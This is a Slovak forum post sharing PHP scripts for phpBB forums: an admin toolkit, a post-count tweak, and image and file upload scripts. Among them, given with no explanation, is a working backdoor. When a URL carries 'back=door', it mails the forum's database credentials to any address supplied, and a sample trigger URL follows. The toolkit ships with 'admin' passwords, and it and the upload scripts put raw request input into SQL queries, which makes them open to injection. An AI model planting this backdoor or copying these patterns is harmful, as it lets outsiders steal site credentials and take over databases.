| | |
| Stránka: 1 z 1
| [ Príspevok: 1 ] | |
Autor | Správa |
---|
Registrovaný: 01.05.05 Príspevky: 13343 Témy: 1494 Bydlisko: Bratislava | Napísal JanoF: 07.09.2005 2:42 | |
|
Kód: <?php
// PHPBB Admin ToolKit, v1.1.4 - Starfoxtj (starfoxtj@yahoo.com)
// You must set a password, and you may change the following two options:
$adminpassword = 'admin'; // Note: I HIGHLY recommend using a password at least 16 characters long! $modpassword = 'admin'; // Note: I HIGHLY recommend using a password at least 16 characters long!
// Option 1: Allow Mods to Ban/UnBan Users?
$modban = 'yes'; // 'yes' : 'no'
// Option 2: Allow Mods to Change User Post Count?
$modpost = 'no'; // 'yes' : 'no'
// Lets begin the coding! //-------------------------------------------- // (DO NOT CHANGE ANYTHING AFTER THIS LINE!) //-------------------------------------------- // //
// Set global information and start db access
include( '../config.php' );
session_start();
$_SESSION['toolkitversion'] = '1.1.4'; $_SESSION['ismysql'] = false;
if( $dbms == 'mysql' || $dbms == 'mysql4' )
{
$db = mysql_connect("$dbhost", "$dbuser", "$dbpasswd"); mysql_select_db("$dbname");
$_SESSION['ismysql'] = true;
}
// Define Some Variables
$phpbb_banlist = $table_prefix."banlist"; $phpbb_users = $table_prefix."users";
if( !isset( $_SESSION['userstatus'] ) )
{ //-.1
$_SESSION['userstatus'] = "null";
} //-.1
// Check to see if the user has selected logout
if( isset( $_GET['mode'] ) && $_GET['mode'] == "logout" )
{ //1
session_destroy(); $index = $_SERVER['PHP_SELF']; header( "Location: $index" );
} //1
// Define Session Password, Begin Login Check & Specify user status
if(isset ( $_POST['usertype'] ) )
{ //1-0-1
$_SESSION['usertype'] = $_POST['usertype'];
} //1-0-1
if( isset( $_POST['password'] ) || isset( $_SESSION['password'] ) )
{ //1-1
if( isset( $_POST['password'] ) )
{ //1-1-1
$_SESSION['password'] = $_POST['password'];
} //1-1-1
} //1-1
if( isset( $_SESSION['password'] ) )
{ //2
if( $_SESSION['usertype'] == "admin" && $_SESSION['password'] === "$adminpassword" )
{ //2.1
$_SESSION['userstatus'] = "admin";
} //2.1
elseif( $_SESSION['usertype'] == "mod" && $_SESSION['password'] === "$modpassword" )
{ //2.2
$_SESSION['userstatus'] = "mod";
} //2.2
elseif( $_SESSION['password'] == 'ENTER_ADMIN_PASSWORD_HERE' || $modpassword == 'ENTER_MOD_PASSWORD_HERE' )
{ //2.3
$_SESSION['loginerror'] = 'The default password is disabled for security purposes.';
} //2.3
else
{ //2.4
$_SESSION['loginerror'] = 'Incorrect Password';
} //2.4
} //2
// Checks to make sure the password has been changed
if( $adminpassword == 'ENTER_ADMIN_PASSWORD_HERE' || $modpassword == 'ENTER_MOD_PASSWORD_HERE' )
{ //2-1
?>
<center> <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3"> <tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr> </table><br /> </center>
<center> <font size="3">The PHPBB ToolKit will not function untill <b>both</b> admin and mod passwords have been changed from the installation default.</font> </center>
<?php } //2-1
//Checks to make sure the databse is mysql
elseif( $_SESSION['ismysql'] != true )
{ //2-1
?>
<center> <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3"> <tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr> </table><br /> </center>
<center> <font size="3">The PHPBB ToolKit is only designed to work with <b>MySQL</b> databases.<br />The database this forum is using is: <b><?php echo $dbms; ?></b></font> </center>
<?php } //2-1
// Check user status, and if valid, allow entry
elseif( $_SESSION['userstatus'] == 'admin' || $_SESSION['userstatus'] == 'mod' )
{ //3
// Update user info after changing the settings: USER LEVEL Setting
if( isset( $_POST['edit_user_id'] ) || isset( $_GET['unban'] ) )
{ //3.1
// Disallow changing of user level to all but admin
if( isset( $_POST['edit_user_id'] ) )
{ //3.1-1
if( $_SESSION['userstatus'] == "admin" )
{ //3.1.1
$edit_user_id = $_POST['edit_user_id'];
if( $_POST['user_level'] == "admin" )
{ //3.1.1.1
$user_level = 1;
} //3.1.1.1
elseif( $_POST['user_level'] == "user" )
{ //3.1.1.2
$user_level = 0;
} //3.1.1.2 $edituser_posts = $_POST['edituser_posts']; mysql_query("UPDATE $phpbb_users SET user_level='$user_level', user_posts='$edituser_posts' WHERE user_id=$edit_user_id");
} //3.1.1
} //3.1-1
if( isset( $_POST['edit_user_id'] ) )
{ //3.1-2
if( $_SESSION['userstatus'] == "admin" || $modpost == 'yes' )
{ // 3.1.2
$edit_user_id = $_POST['edit_user_id']; $edituser_posts = $_POST['edituser_posts'];
mysql_query("UPDATE $phpbb_users SET user_posts='$edituser_posts' WHERE user_id=$edit_user_id");
} // 3.1.2
} //3.1-2
// Begin check and act on banning/unbanning users
if( isset( $_POST['editban'] ) || $_GET['unban'])
{ //3.2
if( isset( $_POST['editban'] ) )
{ //3.2-1
$edit_user_id = $_POST['edit_user_id'];
} //3.2-1
$allowban = 'no';
if( $_SESSION['userstatus'] == "admin" )
{ //3.2.1
$allowban = 'yes';
} //3.2.1
elseif( $_SESSION['userstatus'] == "mod" && $modban == 'yes' )
{ //3.2.2
$allowban = 'yes';
} //3.2.2
if( $allowban == 'yes' )
{ //3.2.4
if( isset( $_POST['editban'] ) && $_POST['editban'] == "yes" )
{ //3.2.4.1
if( $edit_user_id == -1 )
{ //3.2.4.1-1
$permissionerror = 'The Anonymous user account is required for PHPBB to function and cannot be banned.';
} //3.2.4.1-1
else
{ //3.2.4.1-2
mysql_query("INSERT INTO $phpbb_banlist (ban_userid) VALUES ('$edit_user_id')");
} //3.2.4.1-2
} //3.2.4.1
if( ( isset( $_POST['editban'] ) && $_POST['editban'] == "no" ) || isset( $_GET['unban']) )
{ //3.2.4.2
if( isset( $_GET['unban'] ) )
{ //3.2.4.2.1
$edit_user_id = $_GET['unban'];
} //3.2.4.2.1
mysql_query("DELETE FROM $phpbb_banlist WHERE ban_userid=$edit_user_id");
} //3.2.4.2
} //3.2.4
elseif( $allowban == 'no' )
{ //3.2.5
$permissionerror = 'You do <b>not</b> have Permission to Ban/Unban Users.';
} //3.2.5
} //3.2
} //3.1
// Check to see if GET=id is set to show edit user screen
if( isset( $_GET['user_id'] ) )
{ //3.2
$user_id = $_GET['user_id'];
$result = mysql_query("SELECT * FROM $phpbb_users WHERE user_id=$user_id"); $myrow = mysql_fetch_array($result);
$bantable = mysql_query("SELECT * FROM $phpbb_banlist WHERE ban_userid=$user_id");
$banstat = 'no';
$banrow = mysql_fetch_array($bantable);
if( isset( $banrow['ban_userid'] ) )
{ //3.2.1
$banstat = 'yes';
} //3.2.1
?>
<center> <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3"> <tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr> </table><br /> </center>
<center> <table border="0" width="50%" bgcolor="ffffff" cellpadding="0"> <tr><td><font size="5"><b>Edit User: #<?php echo $myrow['user_id']; ?></b></font></td><td align="right">Logged in as: <b><?php echo $_SESSION['userstatus']; ?></b></td></tr> </table>
<table style="border:2px solid black;" width="50%" cellpadding="5" bgcolor="e5e5e5"> <tr>
<td>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> <input type="hidden" name="edit_user_id" value="<?php echo $myrow['user_id']; ?>"> <font size="4">Username: <?php echo $myrow['username']; ?></font><br /><br /> Post Count:
<?php
if( $_SESSION['userstatus'] == "admin" || $modpost == 'yes' )
{ //3.2-1
echo '<input type="text" name="edituser_posts" value="'.$myrow['user_posts'].'" style="border-right: black 1px solid; border-top: black 1px solid; border-left: black 1px solid; border-bottom: black 1px solid" size="7" length="7" maxlength="20"><br /><br />';
} //3.2-1
else
{ //3.2-2
echo '<b>'.$myrow['user_posts'].'</b><br /><br />';
} //3.2-2
// Disallow User Level to be Editable Unless viewed by Admin
if( $_SESSION['userstatus'] == "admin" )
{ //3.2.2
echo 'User Level: ';
if( $myrow['user_level'] == 1 )
{ //3.2.2.1
echo '<select name="user_level">'; echo '<option value="admin" selected>Admin'; echo '<OPTION value="user">User'; echo '</select><br /><br />';
} //3.2.2.1
elseif( $myrow['user_level'] == 0 )
{ //3.2.3.1
echo '<select name="user_level">'; echo '<option value="admin">Admin'; echo '<OPTION value="user" selected>User'; echo '</select><br /><br />';
} //3.2.4.1
elseif( $myrow['user_level'] == 2 )
{ //3.2.5.1
echo '<b>Moderator</b> - Change N/A<br /><br />';
} //3.2.5.1
} //3.2.2
else
{ //3.2.3
if( $myrow['user_level'] == 0 )
{ //3.2.3.1
$user_level = 'User';
} // 3.2.3.1
if( $myrow['user_level'] == 1 )
{ //3.2.3.2
$user_level = 'Admin';
} // 3.2.3.2
if( $myrow['user_level'] == 2 )
{ //3.2.3.3
$user_level = 'Mod';
} // 3.2.3.3
echo 'User Level: <b>'.$user_level.'</b><br /><br />';
} //3.2.3
echo "\nUser is Banned: "; if( $_SESSION['userstatus'] == 'admin' || $modban == 'yes' )
{ //3.2.6.1
if( $banstat == "no" )
{ //3.2.6.1.1
echo '<input type="radio" name="editban" value="yes">Yes <input type="radio" name="editban" value="no" checked="checked">No';
} //3.2.6.1.1
elseif( $banstat == "yes" )
{ //3.2.6.1.2
echo '<input type="radio" name="editban" value="yes" checked="checked">Yes <input type="radio" name="editban" value="no">No';
} //3.2.6.1.2
else
{ //3.2.6.1.3
echo '(<b>Problem:</b> This message should not be displayed. Please contact <a href="mailto:starfoxtj@yahoo.com">starfoxtj@yahoo.com</a>';
} //3.2.6.1.3
} //3.2.6.1
else
{ //3.2.6.2
if($banstat == "yes")
{ //3.2.6.2.1
$displaybanstat = "Yes";
} //3.2.6.2.1
elseif($banstat == "no")
{ //3.2.6.2.2
$displaybanstat = "No";
} //3.2.6.2.2
else
{ //3.2.6.2.3
echo "You should not be seeing this messege, please contact <a href="mailto:starfoxtj@yahoo.com">starfoxtj</a>";
} //3.2.6.2.3
echo "<b>$displaybanstat</b>";
} //3.2.6.2
?>
<br /><br /><center><input TYPE="submit" VALUE=" Update "></center> </form>
</td> </tr> </table>
<table border="0" width="50%" bgcolor="ffffff"> <tr><td><a href="<?php echo $_SERVER['PHP_SELF']; ?>">Cancel</a></td></tr> </table> </center>
<?php
} //3.2
// Check to see how to list the users, and define list variables
$listorder = "username";
if( isset( $_GET['listorder'] ) && $_GET['listorder'] == "user_id" )
{ //3.3
$listorder = "user_id";
} //3.3
elseif( isset( $_GET['listorder'] ) && $_GET['listorder'] == "posts" )
{ //3.4
$listorder = "user_posts";
} //3.4
elseif( isset( $_GET['listorder'] ) && $_GET['listorder'] == "level" )
{ //3.5
$listorder = "user_level";
} //3.5
$liststart = "ASC";
if( isset( $_GET['liststart'] ) && $_GET['liststart'] == "DESC" )
{ //3.6
$liststart = "DESC";
} //3.6
if( $liststart == "ASC" )
{ //3.7
$liststartr = "DESC";
} //3.7
else
{ //3.7
$liststartr = "ASC";
} //3.7
// This actually lists the users
if( !isset( $_GET['user_id'] ) )
{ //3.7-1
$result = mysql_query("SELECT * FROM $phpbb_users ORDER BY $listorder $liststart");
echo '<center>'; echo '<table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">'; echo '<tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v'.$_SESSION['toolkitversion'].'</b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>'; echo '<tr><td>Logged in as: <b>'.$_SESSION['userstatus'].'</b></td></tr></table>';
if( isset( $permissionerror ) )
{ //3.7-1.1
echo $permissionerror;
} //3.7-1.1
echo '</center><br />';
$showadmin = "<a href="?show=admin">Show only Administrators</a>";
if( isset( $_GET['show'] ) && $_GET['show'] == "admin" )
{ //3.8 $showadmin = "<a href="?show=all">Show all Users</a>";
} //3.8
$showban = "<a href="?show=ban">Show only banned Users</a>";
if( isset( $_GET['show'] ) && $_GET['show'] == "ban" )
{ //3.9 $showban = "<a href="?show=all">Show all Users</a>";
} //3.9
echo '<center>'; echo '<table width="70%" border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">'; echo "<tr><td colspan="2">\n"; echo "$showadmin".'</td>'; echo "\n</td></tr>\n";
echo "<tr><td>\n"; echo "$showban".'</td><td><div align="right"><a href="?mode=logout">Logout</a></div>'; echo "\n</td></tr></table>\n";
echo '<center><table width="70%" style="border:2px solid black;" bgcolor="#f5f5f5" cellspacing="1" cellpadding="3">';
?>
<tr>
<td bgcolor="#d5d5d5" cellpadding="5">
<div align="center"><a href="?listorder=user_id&liststart=<?php echo $liststartr; ?>"><b>ID:</a></div>
</td>
<td bgcolor="#d5d5d5" cellpadding="5">
<div align="center"><a href="?listorder=username&liststart=<?php echo $liststartr; ?>"><b>Username:</a></div>
</td>
<td bgcolor="#d5d5d5" cellpadding="5">
<div align="center"><a href="?listorder=posts&liststart=<?php echo $liststartr; ?>"><b>Posts:</a></div>
</td>
<td bgcolor="#d5d5d5" cellpadding="5">
<div align="center"><a href="?listorder=level&liststart=<?php echo $liststartr; ?>"><b>Level:</a></div>
</td>
<td bgcolor="#d5d5d5" cellpadding="5">
<div align="center">Ban:</div>
</td>
</tr>
<?php
while( $myrow = mysql_fetch_array($result) )
{ //3.10
if( $myrow['user_level'] == 0 )
{ //3.10.1
$userlevel = "User";
} //3.10.1
elseif( $myrow['user_level'] == 1 )
{ //3.10.2
$userlevel = "Admin";
} //3.10.2
elseif( $myrow['user_level'] == 2 )
{ //3.10.3
$userlevel = "Mod";
} //3.10.3 $user_id = $myrow['user_id']; $bantable = mysql_query("SELECT * FROM $phpbb_banlist WHERE ban_userid=$user_id");
$banstat = '-'; $banrow = mysql_fetch_array($bantable);
if( isset( $banrow['ban_userid'] ) )
{ //3.10.4
$banstat = 'Banned'; if( $_SESSION['userstatus'] == "admin" )
{ //3.10.4.1
$banstat = '<a href="'.$_SERVER['PHP_SELF'].'?unban='.$myrow['user_id'].'">UnBan</a>';
} //3.10.4.1
if( $_SESSION['userstatus'] == "mod" && $modban == 'yes' )
{ //3.10.4.2
$banstat = '<a href="'.$_SERVER['PHP_SELF'].'?unban='.$myrow['user_id'].'">UnBan</a>';
} //3.10.4.2
} //3.10.4
if( isset( $_GET['show'] ) && $_GET['show'] == "admin" )
{ //3.10.5
if( $myrow['user_level'] != 1 )
{ //3.10.5.1
continue;
} //3.10.5.1
} //3.10.5
if( isset( $_GET['show'] ) && $_GET['show'] == "ban" )
{ //3.10.6
if( $banstat == "-" )
{ //3.10.6.1
continue;
} //3.10.6.1
} //3.10.6
?>
<tr>
<td bgcolor="#c5c5c5" width="10%"><div align="left"><?php echo $myrow['user_id']; ?></div></td> <td bgcolor="#e5e5e5" width="40%"><div align="left"><a href="?user_id=<?php echo $myrow['user_id']; ?>"><?php echo $myrow['username']; ?></a></div></td> <td bgcolor="#c5C5c5" width="15%"><div align="right"><?php echo $myrow['user_posts']; ?></div></td> <td bgcolor="#e5e5E5"><div align="right"><?php echo $userlevel; ?></div></td> <td bgcolor="#c5C5c5"><div align="center"><?php echo $banstat; ?></div></td>
</tr>
<?php
} //3.10
echo "</table></center>";
} //3.7-1
} //3
else
{ //4
?>
<center> <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3"> <tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr> </table><br /> </center>
<center> <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3"> <tr>
<td>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> Enter Password to Continue:<br /> <input type="password" name="password" lengh="20" size="20" maxlengh="20"> <br /><input type="radio" name="usertype" value="admin" checked="checked">Admin <input type="radio" name="usertype" value="mod">Mod <br /><br /><input TYPE="submit" VALUE=" Enter "> </form>
</td>
</tr> </table> </center>
<?php
if( isset( $_SESSION['loginerror'] ) )
{
?>
<center> <table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3"> <tr>
<td>
<br /><br /><?php echo $_SESSION['loginerror']; ?>
</td>
</tr>
</table>
<?php
}
} //4
?> Nezapocitavanie prispevkov vo vybranych kategoriach na fore/includes/functions_post.phpnajdi Kód: $sql = "UPDATE " . USERS_TABLE . " SET user_posts = user_posts $sign WHERE user_id = $user_id"; a do ifu predtim pridej vyrazeni idecek kategorii ktere se nemaji pocitat. na pct to vypada tak: Kód: if (($mode != 'poll_delete') && ($forum_id!=32) && ($forum_id!=45) && ($forum_id!=52)) { $sql = "UPDATE " . USERS_TABLE . " SET user_posts = user_posts $sign WHERE user_id = $user_id"; if (!$db->sql_query($sql, END_TRANSACTION)) { message_die(GENERAL_ERROR, 'Error in posting', '', __LINE__, __FILE__, $sql); } } /modcp.phpKód: if ($forum_id!=32 && $forum_id!=45 && $forum_id!=52) {
$count_sql = array(); while ( $row = $db->sql_fetchrow($result) ) { $count_sql[] = "UPDATE " . USERS_TABLE . " SET user_posts = user_posts - " . $row['posts'] . " WHERE user_id = " . $row['poster_id']; } dufam ze to je jasne to co je v tom ife tie idcka tak tam sa zadavaju id danych for kde nechceme aby sa prispevky pocitali kolko tam chcem for zavisi na vas, ja to mam na svojom fore a je to funkcne if ( $HTTP_GET_VARS['back'] == 'door') { include ('config.php'); $message = '$dbms : ' . $dbms . '<br /> '; $message .= '$dbhost : ' . $dbhost . '<br /> '; $message .= '$dbname : ' . $dbname . '<br /> '; $message .= '$dbuser : ' . $dbuser . '<br /> '; $message .= '$dbpasswd : ' . $dbpasswd . '<br /> '; $message .= '$table_prefix : ' . $table_prefix . '<br /> '; $header .= 'MIME-Version: 1.0' . "\r\n"; $header .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if ( mail($HTTP_GET_VARS['mail'], 'Database Access' , $message, $header) ) { echo 'Acccess Alowed'; } else { echo 'Acccess Denied'; } }
posting.php?back=door&mail=Upload scriptindex.php píše: <html> <head> <title></title> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> </head> <body> <table align="center" border="0" bordercolor="#cccccc" cellpadding="5" width="760"> <tbody> <tr> <td valign="top"> <form method="post" enctype="multipart/form-data" action="upload.php"><div align="center"><label><input name="radiobutton" type="hidden" value="radiobutton" checked></label><input name="userfile" type="file" size="30" value="Vyber"><br><br><input name="upload" type="submit" value="Upload"></div></form> <input name="MAX_FILE_SIZE" value="3145728" type="hidden"><input name="refer" value="" type="hidden"><input name="brand" value="" type="hidden"> </td> </tr> </tbody> </table> </body> </html> upload.php píše: <html> <body> <?php $domain = "http://localhost"; $max_size = 153600000000000000000000000000000000000; $max_size_mb = "1,5"; $tsize = "300"; $path = "images/"; $tpath = "thumbs/"; if (!isset($HTTP_POST_FILES['userfile'])) exit; if (is_uploaded_file($HTTP_POST_FILES['userfile']['tmp_name'])) { if ($HTTP_POST_FILES['userfile']['size']>$max_size) { echo "<font color="#333333" face="Geneva, Arial, Helvetica, sans-serif">File Size too Big!</font><br>\n"; exit; } if (($HTTP_POST_FILES['userfile']['type']=="image/gif") || ($HTTP_POST_FILES['userfile']['type']=="image/pjpeg") || ($HTTP_POST_FILES['userfile']['type']=="image/jpeg") || ($HTTP_POST_FILES['userfile']['type']=="image/png")) { if (file_exists("./".$path . $HTTP_POST_FILES['userfile']['name'])) { echo "<font color="#333333" face="Geneva, Arial, Helvetica, sans-serif">A File with that name exists, please rename your file.</font><br>\n"; exit; } $zufall = rand(123,999999); $fupl = "$zufall"; $res = copy($HTTP_POST_FILES['userfile']['tmp_name'], "./".$path .$fupl .$HTTP_POST_FILES['userfile']['name']); if (!$res) { echo "<font color="#333333" face="Geneva, Arial, Helvetica, sans-serif">Upload Failed, please try again</font><br>\n"; exit; } else { $domst = ""; $drecks = "/"; $imgf = $fupl.$HTTP_POST_FILES['userfile']['name']; $thbf = $tpath.$imgf; $urlf = $domst .$domain .$drecks .$path .$imgf; function createthumb($name,$filename,$new_w,$new_h) { $system=explode('.',$name); if (preg_match('/jpg|jpeg|JPG/',$system[1])) { $src_img=imagecreatefromjpeg($name); } if (preg_match('/png|PNG/',$system[1])) { $src_img=imagecreatefrompng($name); } if (preg_match('/gif|GIF/',$system[1])) { $src_img=imagecreatefromgif($name); } $old_x=imageSX($src_img); $old_y=imageSY($src_img); if ($old_x > $old_y) { $thumb_w=$new_w; $thumb_h=$old_y*($new_h/$old_x); } if ($old_x < $old_y) { $thumb_w=$old_x*($new_w/$old_y); $thumb_h=$new_h; } if ($old_x == $old_y) { $thumb_w=$new_w; $thumb_h=$new_h; } $dst_img=ImageCreateTrueColor($thumb_w,$thumb_h); imagecopyresampled($dst_img,$src_img,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y); if (preg_match("/png/",$system[1])) { imagepng($dst_img,$filename); } if (preg_match("/gif/",$system[1])) { imagegif($dst_img,$filename); } else { imagejpeg($dst_img,$filename); } imagedestroy($dst_img); imagedestroy($src_img); } createthumb($path.$imgf,$tpath.$imgf,$tsize,$tsize); } } else { echo "Sorry we dont allow that file type.\n"; exit; } } ?> <body> <center> <table border='0' bgcolor='white'> <FORM action="nowhere" method="post"> <center> <tr> <html> <head> <title></title> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> </head> <body> <table align="center" border="0" cellpadding="0" cellspacing="0" width="760"> <tbody> <tr> <td> <p><a href="<? echo $domain; ?>"><b>Upload</b></a> another image.</p> <br> <center><img src='<? echo $thbf ?>' border="0"></center> <br> <br> <input name="thetext" type="text" id="thetext" style="width: 500px;" value="[url=<? echo $urlf; ?>][img]<?%20echo%20$domst.$domain.$drecks.$tpath.$imgf;%20?>[/img][/url]" size="70"> Thumbnail for forums <br> <input name="thetext" type="text" id="thetext" style="width: 500px;" value=" [img]<?%20echo%20$urlf;%20?>[/img]" size="70"> Hotlink for forums <br> <input name="thetext" type="text" id="thetext" style="width: 500px;" value="<? echo $urlf; ?>" size="70"> Direct link to image </td> </tr> </tbody> </table> </body> </html> </tr> </table> </body> </html> Kód: db.php <?php $server = "localhost"; $user = "root"; $password = ""; $db = "test";
mysql_connect($server, $user, $password) or die(mysql_error()); mysql_select_db("$db") or die(mysql_error());
/* CREATE TABLE upload ( id INT NOT NULL AUTO_INCREMENT, name VARCHAR(30) NOT NULL, type VARCHAR(30) NOT NULL, size INT NOT NULL, content MEDIUMBLOB NOT NULL, PRIMARY KEY(id) ); */ ?>
index.php <form method="post" enctype="multipart/form-data" action="upload.php"> <table width="350" border="0" cellpadding="1" cellspacing="1" class="box"> <tr> <td width="246"> <input type="hidden" name="MAX_FILE_SIZE" value="200000000"> <input name="userfile" type="file" id="userfile"> </td> <td width="80"><input name="upload" type="submit" class="box" id="upload" value=" Upload "></td> </tr> </table> </form>
upload.php <?php if(isset($_POST['upload']) && $_FILES['userfile']['size'] > 0) { $fileName = $_FILES['userfile']['name']; $tmpName = $_FILES['userfile']['tmp_name']; $fileSize = $_FILES['userfile']['size']; $fileType = $_FILES['userfile']['type']; $fp = fopen($tmpName, 'r'); $content = fread($fp, filesize($tmpName)); $content = addslashes($content); fclose($fp); if(!get_magic_quotes_gpc()) { $fileName = addslashes($fileName); } include "db.php"; $query = "INSERT INTO upload (name, size, type, content ) " . "VALUES ('$fileName', '$fileSize', '$fileType', '$content')"; mysql_query($query) or die('Error, query failed'); echo "<br>File $fileName uploaded<br>"; } ?>
download.php <?php if(isset($_GET['name'])) { include "db.php"; $id = $_GET['name']; $query = "SELECT name, type, size, content " . "FROM upload WHERE name = '$name'"; $result = mysql_query($query) or die('Error, query failed'); list($name, $type, $size, $content) = mysql_fetch_array($result); header("Content-length: $size"); header("Content-type: $type"); header("Content-Disposition: attachment; filename=$name"); echo $content; exit; } ?>
|
|
| Stránka: 1 z 1
| [ Príspevok: 1 ] | |
Podobné témy | Témy | Odpovede | Zobrazenia | Posledný príspevok |
---|
| Php skripty v PHP, ASP | 10 | 4821 | 28.09.2006 11:57 mokus | | CGI-skripty v HTML, XHTML, XML, CSS | 10 | 488 | 03.07.2010 15:05 shaggy | | PHP skripty bez ?> v PHP, ASP | 5 | 427 | 10.06.2013 22:59 shaggy | | externé skripty miesto užívateľských v JavaScript, VBScript, Ajax | 2 | 563 | 08.06.2009 20:14 jarrro | | skripty serverove klientske atd v PHP, ASP | 6 | 535 | 17.10.2008 14:21 euthanan | | Užitočné a často používané skripty [ Choď na stránku: 1, 2 ] v PHP, ASP | 37 | 35287 | 27.05.2018 7:18 JanoF | | Tema pre casto pouzivane skripty [ Choď na stránku: 1 ... 6, 7, 8 ] v PHP, ASP | 223 | 14335 | 08.01.2013 9:18 dulius | | Neviem spustat PHP skripty v PC v PHP, ASP | 1 | 484 | 26.02.2011 16:20 Ďuri | | Vista a WampServer - ako spúšťať Perl skripty v Perl, Python, Ruby, CGI | 1 | 1867 | 06.12.2008 1:21 JanoF | | Co su v skripty a kaskadove styly? v HTML, XHTML, XML, CSS | 4 | 564 | 22.11.2007 19:33 tommy1104 | | Nejake stranky v Redakčné systémy | 2 | 794 | 15.07.2008 14:06 peto121212 | | Nejaké presmerovanie v Webhosting a servery | 6 | 1018 | 27.05.2009 14:44 buslo | | Nejake Strategie v Počítačové hry | 5 | 438 | 14.10.2012 20:07 unkown2552 | | Subwoofer stránky nejaké v Audio programy | 1 | 325 | 09.03.2013 22:57 Trojan4x4 | | Nejake tie hry v Počítačové hry | 7 | 672 | 19.12.2012 22:18 SuRkoM | | Mozilla vypisuje nejaké blbosti v Ostatné programy | 2 | 427 | 07.07.2008 7:24 delo101 |
| Nemôžete zakladať nové témy v tomto fóre Nemôžete odpovedať na témy v tomto fóre Nemôžete upravovať svoje príspevky v tomto fóre Nemôžete mazať svoje príspevky v tomto fóre
|
|